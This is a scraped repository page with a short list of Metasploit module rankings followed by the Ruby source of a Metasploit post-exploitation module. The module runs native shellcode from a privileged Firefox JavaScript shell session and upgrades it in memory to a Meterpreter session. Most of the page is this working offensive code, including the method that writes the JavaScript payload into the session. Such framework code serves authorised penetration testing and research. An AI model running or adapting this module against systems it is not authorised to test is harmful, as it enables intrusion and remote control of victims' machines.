5e31a32771
../exec_shellcode.rb Rank = Great This exploit is missing autodetection and version checks, but should be ranked Great due to high number of possible targets ../cfme_manageiq_evm_upload_exec.rb Rank = Great This exploit implements a check to assess target availability, and the vulnerability does not require any user action ../dlink_dcs_930l_authenticated_remote_command_execution Rank = Excellent Exploit utilizes command injection ../efw_chpasswd_exec Rank = Excellent Exploit utilizes command injection ../foreman_openstack_satellite_code_exec Rank = Excellent Exploit utilizes code injection ../nginx_chunked_size Rank = Great Exploit has explicit targets with nginx version auto-detection ../tp_link_sc2020n_authenticated_telnet_injection Rank = Excellent See dlink_dcs_930l_authenticated_remote_command_execution, exploit uses OS Command Injection ../hp_smhstart Rank = Average Must be specific user to exploit, no autodetection, specific versions only
64 lines
1.9 KiB
Ruby
64 lines
1.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/payload/firefox'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GreatRanking # Missing autodetection, but has widespread targetability
|
|
|
|
include Msf::Payload::Firefox
|
|
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',
|
|
'Description' => %q{
|
|
This module allows execution of native payloads from a privileged Firefox Javascript shell.
|
|
It places the specified payload into memory, adds the necessary protection flags,
|
|
and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
|
|
session without touching the disk.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'joev' ],
|
|
'Platform' => [ 'firefox' ],
|
|
'DisclosureDate' => 'Mar 10 2014',
|
|
'Targets' => [
|
|
[
|
|
'Native Payload', {
|
|
'Platform' => %w{ linux osx win unix },
|
|
'Arch' => ARCH_ALL
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
print_status "Running the Javascript shell..."
|
|
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
|
|
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
|
print_warning(results) if results.present?
|
|
end
|
|
|
|
def js_payload
|
|
%Q|
|
|
(function(send){
|
|
try {
|
|
#{run_payload}
|
|
send("Payload executed.");
|
|
} catch (e) {
|
|
send(e);
|
|
}
|
|
})(send);
|
|
|.strip
|
|
end
|
|
end
|